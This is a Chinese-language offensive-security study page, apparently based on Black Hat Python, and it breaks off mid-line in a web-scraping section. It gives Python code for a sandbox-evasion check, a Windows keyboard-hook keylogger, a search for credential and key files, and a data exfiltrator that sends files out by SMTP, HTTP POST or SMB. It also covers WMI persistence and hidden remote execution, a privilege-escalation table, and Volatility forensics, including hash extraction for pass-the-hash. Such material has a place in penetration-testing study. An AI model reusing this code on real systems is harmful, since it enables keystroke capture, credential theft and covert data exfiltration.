def is_sandbox(self):
checks = [
self.check_sleep_patched(),
self.check_disk_size(),
]
return any(checks)
键盘记录器 (Keylogger)
from ctypes import wintypes, byref, c_char_p, c_int
import ctypes
import win32con
import time
user32 = ctypes.windll.user32
kernel32 = ctypes.windll.kernel32
class KeyLogger:
def __init__(self):
self.hooked = None
def install_hook(self):
"""安装全局键盘钩子"""
# WH_KEYBOARD_LL = 13 (低级键盘钩子)
self.hooked = user32.SetWindowsHookExW(
13, # WH_KEYBOARD_LL
LowLevelKeyboardProc,
kernel32.GetModuleHandleW(None),
0
)
if not self.hooked:
return False
# Windows消息循环 (必须在本线程运行)
msg = wintypes.MSG()
while user32.GetMessageW(byref(msg), None, 0, 0) != 0:
user32.TranslateMessage(byref(msg))
user32.DispatchMessageW(byref(msg))
return True
def uninstall_hook(self):
if self.hooked:
user32.UnhookWindowsHookEx(self.hooked)
self.hooked = None
# 键盘钩子回调 (C类型定义)
HOOKPROC = ctypes.WINFUNCTYPE(c_int, c_int, wintypes.WPARAM, wintypes.LPARAM)
@HOOKPROC
def LowLevelKeyboardProc(nCode, wParam, lParam):
if nCode == win32con.HC_ACTION:
vk_code = ctypes.cast(lParam, ctypes.POINTER(wintypes.DWORD))[0]
# 记录按键 (将虚拟键码转换为可读字符)
# ... 完整实现略
return user32.CallNextHookEx(None, nCode, wParam, lParam)
📤 数据渗漏技术
基于第九章 — 文件搜索与分级、邮件渗出、文件服务器渗出、加密传输
敏感文件搜索器
import os
import fnmatch
import time
FILE_PATTERNS = [
'*.doc', '*.docx', '*.xls', '*.xlsx', '*.pdf',
'*.key', '*.ppk', '*.pem', '*.ovpn',
'*password*', '*credentials*', '*secret*',
'*.kdbx', '*.rdp', '*.sql'
]
def search_sensitive_files(base_path, patterns=FILE_PATTERNS):
"""递归搜索敏感文件"""
found = []
for root, dirs, files in os.walk(base_path):
for pattern in patterns:
for filename in fnmatch.filter(files, pattern):
full_path = os.path.join(root, filename)
stat = os.stat(full_path)
found.append({
'path': full_path,
'size': stat.st_size,
'modified': time.ctime(stat.st_mtime)
})
return found
# 文件分级 — 按扩展名标记敏感级别
SEVERITY_MAP = {
('.pem', '.key', '.ppk', '.kdbx'): 'CRITICAL',
('.doc', '.docx', '.xls', '.xlsx'): 'HIGH',
('.pdf', '.sql', '.ovpn'): 'MEDIUM',
('.rdp', '.log'): 'LOW',
}
def classify_file(filename):
for exts, level in SEVERITY_MAP.items():
if filename.lower().endswith(exts):
return level
return 'UNKNOWN'
多通道数据渗出
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
import requests
import base64
class DataExfiltrator:
"""多渠道数据渗出器"""
# 方法1: SMTP 邮件渗出
@staticmethod
def exfil_email(filepath, smtp_server, sender, recipient,
username=None, password=None):
msg = MIMEMultipart()
msg['From'] = sender
msg['To'] = recipient
msg['Subject'] = f'Report - {os.path.basename(filepath)}'
# 附件
with open(filepath, 'rb') as f:
attachment = MIMEBase('application', 'octet-stream')
attachment.set_payload(f.read())
encoders.encode_base64(attachment)
attachment.add_header(
'Content-Disposition',
f'attachment; filename={os.path.basename(filepath)}'
)
msg.attach(attachment)
server = smtplib.SMTP(smtp_server, 587)
server.starttls()
if username and password:
server.login(username, password)
server.sendmail(sender, recipient, msg.as_string())
server.quit()
# 方法2: HTTP POST 渗出
@staticmethod
def exfil_http(filepath, upload_url):
with open(filepath, 'rb') as f:
data = base64.b64encode(f.read()).decode()
resp = requests.post(
upload_url,
json={'filename': os.path.basename(filepath), 'data': data}
)
return resp.status_code == 200
# 方法3: 文件共享渗出 (SMB/WebDAV)
@staticmethod
def exfil_smb(filepath, share_path):
"""复制到网络共享"""
import shutil
dest = os.path.join(
share_path, os.path.basename(filepath)
)
shutil.copy2(filepath, dest)
return os.path.exists(dest)
⬆️ Windows 权限提升
基于第十章 — 进程监控、WMI编程、Token窃取、DLL注入、COM自动化提权
进程监控 — 发现高权限进程
import win32con
import win32api
import win32security
import wmi
def monitor_processes():
"""监控系统进程 — 发现高权限进程用于注入"""
c = wmi.WMI()
process_watcher = c.Win32_Process.watch_for('creation')
while True:
new_process = process_watcher()
proc_owner = get_process_owner(new_process.ProcessId)
print(f"""
Process: {new_process.Name}
PID: {new_process.ProcessId}
Owner: {proc_owner['Domain']}\\{proc_owner['User']}
Command: {new_process.CommandLine}
Parent PID: {new_process.ParentProcessId}
""")
# 标记SYSTEM权限进程
if proc_owner['User'] == 'SYSTEM':
print(f'[!] SYSTEM process detected: {new_process.Name}')
def get_process_owner(pid):
"""获取进程所有者"""
h_process = win32api.OpenProcess(
win32con.PROCESS_QUERY_INFORMATION, False, pid
)
token = win32security.OpenProcessToken(
h_process, win32con.TOKEN_QUERY
)
sid = win32security.GetTokenInformation(
token, win32security.TokenUser
)[0]
name, domain, _ = win32security.LookupAccountSid(None, sid)
return {'User': name, 'Domain': domain}
WMI 持久化与提权
import wmi
c = wmi.WMI()
# 通过WMI创建持久化进程
def wmi_persistence(command):
"""创建WMI事件订阅 — 系统启动时执行"""
# 创建 __EventFilter
filter_params = {
'Name': 'BHP_Filter',
'QueryLanguage': 'WQL',
'Query': "SELECT * FROM __InstanceCreationEvent WITHIN 5 "
"WHERE TargetInstance ISA 'Win32_LogonSession'"
}
# 创建 __EventConsumer (执行命令)
consumer_params = {
'Name': 'BHP_Consumer',
'CommandLineTemplate': command
}
# 绑定 Filter + Consumer
# ... (需要管理员权限)
# WMI 远程执行 (需要目标管理员凭证)
def wmi_remote_exec(target_ip, username, password, command):
conn = wmi.WMI(
computer=target_ip,
user=username,
password=password
)
process_startup = conn.Win32_ProcessStartup.new()
process_startup.ShowWindow = 0 # SW_HIDE
process_id, result = conn.Win32_Process.Create(
CommandLine=command,
ProcessStartupInformation=process_startup
)
if result == 0:
print(f'[+] Process created: PID {process_id}')
return process_id
权限提升方法汇总
| 技术 | 方法 | 难度 | 认证要求 |
|---|---|---|---|
| Token窃取 | DuplicateTokenEx / ImpersonateLoggedOnUser | 中 | SeImpersonatePrivilege |
| DLL劫持 | 替换/重定向合法DLL搜索路径 | 低 | 文件写入权限 |
| 服务配置 | 修改服务二进制路径或参数 | 低 | 服务修改权限 |
| 计划任务 | 创建高权限计划任务 | 低 | 管理员 |
| WMI事件 | 创建WMI永久事件订阅 | 中 | 管理员 |
| COM劫持 | 修改COM组件注册表指向恶意DLL | 中 | 注册表写入权限 |
| 不带引号服务路径 | 利用服务路径空格注入 | 低 | 可执行文件写入 |
| 内核漏洞 | 利用未修补的内核驱动漏洞 | 高 | 普通用户 |
🔬 攻击取证与内存分析
基于第十一章 — Volatility 内存取证框架、内存快照分析、自定义插件开发、ASLR检查
Volatility 内存取证框架
# 安装 (独立虚拟环境)
# git clone https://github.com/volatilityfoundation/volatility3.git
# pip install -r requirements.txt
# pip install pycryptodome
# 基本用法
# python vol.py -f memory.vmem windows.info
# python vol.py -f memory.vmem windows.pslist
# python vol.py -f memory.vmem windows.pstree
# python vol.py -f memory.vmem windows.cmdline
# 进入 volshell 交互式 Python shell
# python vol.py -w -f memory.vmem volshell
内存快照分析 — 基本信息与用户行为侧写
# ===== 系统基本信息 =====
# python vol.py -f memory.vmem windows.info
# 输出: OS, Kernel, CPU, 内存层, 系统时间
# ===== 注册表枚举 =====
# 列出所有已安装服务
# python vol.py -f memory.vmem registry.printkey \\
# --key "ControlSet001\\Services"
# ===== 进程命令行参数 (重建用户行为) =====
# python vol.py -f memory.vmem windows.cmdline
# 输出: PID, Process Name, CommandLine args
# 可发现: 用户手动启动的进程 (cmd.exe, notepad.exe, nc64.exe)
# ===== 进程树 (父子关系) =====
# python vol.py -f memory.vmem windows.pstree
# 输出: 树形结构的进程父子关系
# 示例: userinit.exe → explorer.exe → cmd.exe → notepad.exe
# ===== 密码哈希提取 =====
# python vol.py -f memory.vmem windows.hashdump
# 输出: 用户名, LM Hash, NT Hash
# 用途: 离线暴力破解 / Pass-the-Hash 攻击
# ===== 网络连接枚举 =====
# python vol.py -f memory.vmem windows.netscan
# 输出: Proto, LocalAddr, LocalPort, ForeignAddr, State, Owner
# 关注: LISTENING 状态的未知进程 (如 nc64.exe:4444)
# ===== 恶意代码检测 =====
# python vol.py -f memory.vmem windows.malfind
# 输出: 具有 RWX (读+写+执行) 权限的内存区域
# 潜在注入点: 可被 Shellcode 覆写的可执行内存段
自定义 Volatility 插件 — ASLR 检查器
# plugins/windows/aslrcheck.py
from volatility3.framework import interfaces, renderers
from volatility3.framework.configuration import requirements
from volatility3.plugins.windows import pslist
import pefile
def check_aslr(pe):
"""检查 PE 文件是否受 ASLR 保护"""
pe.parse_data_directories([
pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG']
])
dynamic = bool(pe.OPTIONAL_HEADER.DllCharacteristics & 0x0040)
reloc_stripped = False
if dynamic:
for section in pe.sections:
if section.Name.rstrip(b'\x00') == b'.reloc':
reloc_stripped = section.SizeOfRawData == 0
return not dynamic or reloc_stripped
class AslrCheck(interfaces.plugins.PluginInterface):
"""检查进程是否受 ASLR 地址空间随机化保护"""
@classmethod
def get_requirements(cls):
return [
requirements.TranslationLayerRequirement(name='primary'),
requirements.SymbolTableRequirement(name='nt_symbols'),
requirements.PluginRequirement(name='pslist', plugin=pslist.PsList),
requirements.ListRequirement(
name='pid', element_type=int, optional=True,
description='只检查指定 PID 的进程'
),
]
def _generator(self, procs):
pe_table_name = self.config['nt_symbols'] + '_PEB'
for proc in procs:
proc_id = proc.UniqueProcessId
proc_name = proc.ImageFileName.cast(
'string', max_length=proc.ImageFileName.vol.count
)
proc_layer_name = proc.add_process_layer()
peb = proc.Peb
try:
proc_layer = self.context.layers[proc_layer_name]
pe_data = io.BytesIO()
pe_bytes = proc_layer.read(peb.ImageBaseAddress, 0x400)
pe_data.write(pe_bytes)
pe_data.seek(0)
pe = pefile.PE(data=pe_data.read())
aslr = not check_aslr(pe) # True = 受保护
except Exception:
aslr = False
yield (0, (
format(proc_id, 'd'),
str(proc_name or ''),
renderers.format_hints.Hex(peb.ImageBaseAddress),
'Protected' if aslr else 'VULNERABLE'
))
def run(self):
procs = pslist.PsList.list_processes(
self.context, self.config_path, self.config['primary'],
self.config['nt_symbols'],
filter_func=lambda p: True
)
return renderers.TreeGrid([
('PID', str), ('Name', str), ('BaseAddr', str), ('ASLR', str)
], self._generator(procs))
# 调用自定义插件
# python vol.py -p ./plugins/windows \\
# -f memory.vmem windows.aslrcheck.AslrCheck
Volatility 常用插件速查
| 插件 | 功能 | 取证价值 |
|---|---|---|
| windows.info | 系统基本信息 | OS版本、内核版本 |
| windows.pslist | 进程列表 | 可疑进程发现 |
| windows.pstree | 进程树 | 进程启动链分析 |
| windows.cmdline | 命令行参数 | 用户行为重建 |
| windows.hashdump | 密码哈希提取 | 凭据窃取 & PtH攻击 |
| windows.netscan | 网络连接 | C2通信发现 |
| windows.malfind | 恶意代码检测 | RWX内存注入检测 |
| windows.dlllist | DLL列表 | DLL劫持检测 |
| windows.registry.printkey | 注册表读取 | 服务/自启动发现 |
| windows.filescan | 文件扫描 | 隐藏文件发现 |
🕷️ Python爬虫与渗透测试信息收集
基于《用Python写网络爬虫》— Web Scraping with Python 实战知识体系
网络爬虫在渗透测试中的价值
网络爬虫是渗透测试信息收集阶段的核心技术之一。通过自动化爬取目标网站,可以:
- 资产发现 — 自动发现隐藏的目录、文件、API端点、子域名
- 信息提取 — 批量抓取员工邮箱、组织架构、技术栈指纹、CMS版本
- 攻击面测绘 — 构建目标完整URL拓扑图,识别所有可能的攻击入口
- 漏洞探测 — 爬取页面中的注释、错误信息、调试端点等敏感泄露
- 社工数据收集 — 自动化收集LinkedIn、GitHub等平台的目标人员信息
爬虫基础架构
import urllib.request
import urllib.parse
import urllib.robotparser
from urllib.error import URLError, HTTPError
# 基础下载器
def download(url, user_agent='PentestBot', num_retries=3):
print(f'Downloading: {url}')
headers = {'User-Agent': user_agent}
request = urllib.request.Request(url, headers=headers)
try:
html = urllib.request.urlopen(request).read()
except (URLError, HTTPError) as e:
print(f'Download error: {e.reason}')
html = None
if num_retries > 0:
if hasattr(e, 'code') and 500 <= e.code < 600:
return download(url, user_agent, num_retries - 1)
return html.decode('utf-8') if html else None
# robots.txt 解析 (合规检查)
def check_robots(url, user_agent='PentestBot'):
rp = urllib.robotparser.RobotFileParser()
rp.set_url(urllib.parse.urljoin(url, '/robots.txt'))
rp.read()
return rp.can_fetch(user_agent, url)
📥 数据抓取三种方法
正则表达式 / BeautifulSoup / Lxml — 从简单到高性能的完整方案
方法一:正则表达式 — 快速轻量
import re
# 提取页面中所有邮箱地址
def extract_emails(html):
pattern = r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}'
return re.findall(pattern, html)
# 提取页面中所有链接
def extract_links(html, base_url):
pattern = r']+?href="([^"]*?)"'
links = re.findall(pattern, html)
return [urllib.parse.urljoin(base_url, link) for link in links]
# 提取JavaScript文件路径
def extract_js_files(html, base_url):
pattern = r'